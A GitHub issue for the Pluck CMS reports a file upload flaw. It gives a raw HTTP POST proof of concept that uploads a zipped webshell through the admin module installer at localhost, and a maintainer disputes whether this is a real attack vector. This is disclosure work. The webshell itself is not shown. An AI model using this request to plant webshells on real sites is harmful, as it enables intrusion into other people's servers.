Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A file upload vulnerability #70

Open
China-Eugene opened this Issue Feb 18, 2019 · 2 comments

Comments

Projects
None yet
2 participants
@China-Eugene
Copy link

China-Eugene commented Feb 18, 2019

Vulnerability details:
In the management module page, the installation module uploads a compressed webshell, which can be directly uploaded and decompressed, causing the entire website to crash.
Vulnerability url:
http://127.0.0.1/pluck/admin.php?action=installmodule
Vulnerability POC:
POST /pluck/admin.php?action=installmodule HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/pluck/admin.php?action=installmodule
Content-Type: multipart/form-data; boundary=---------------------------26299170359894
Content-Length: 56087
Connection: close
Cookie: envlpass=21232f297a57a5a743894a0e4a801fc3; _ga=GA1.1.1523573753.1550292454; PHPSESSID=vr8t3uqdsh6gu011nijv1jjjco
Upgrade-Insecure-Requests: 1

-----------------------------26299170359894
Content-Disposition: form-data; name="sendfile"; filename="webshell.zip"
Content-Type: application/x-zip-compressed

@China-Eugene

This comment has been minimized.

Copy link
Author

China-Eugene commented Feb 18, 2019

Repair suggestions:
File MIME verification

@BSteelooper

This comment has been minimized.

Copy link
Contributor

BSteelooper commented Feb 19, 2019

How would this be a attack vector?

Why would a site admin upload a module which he doesn’t know or trust?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.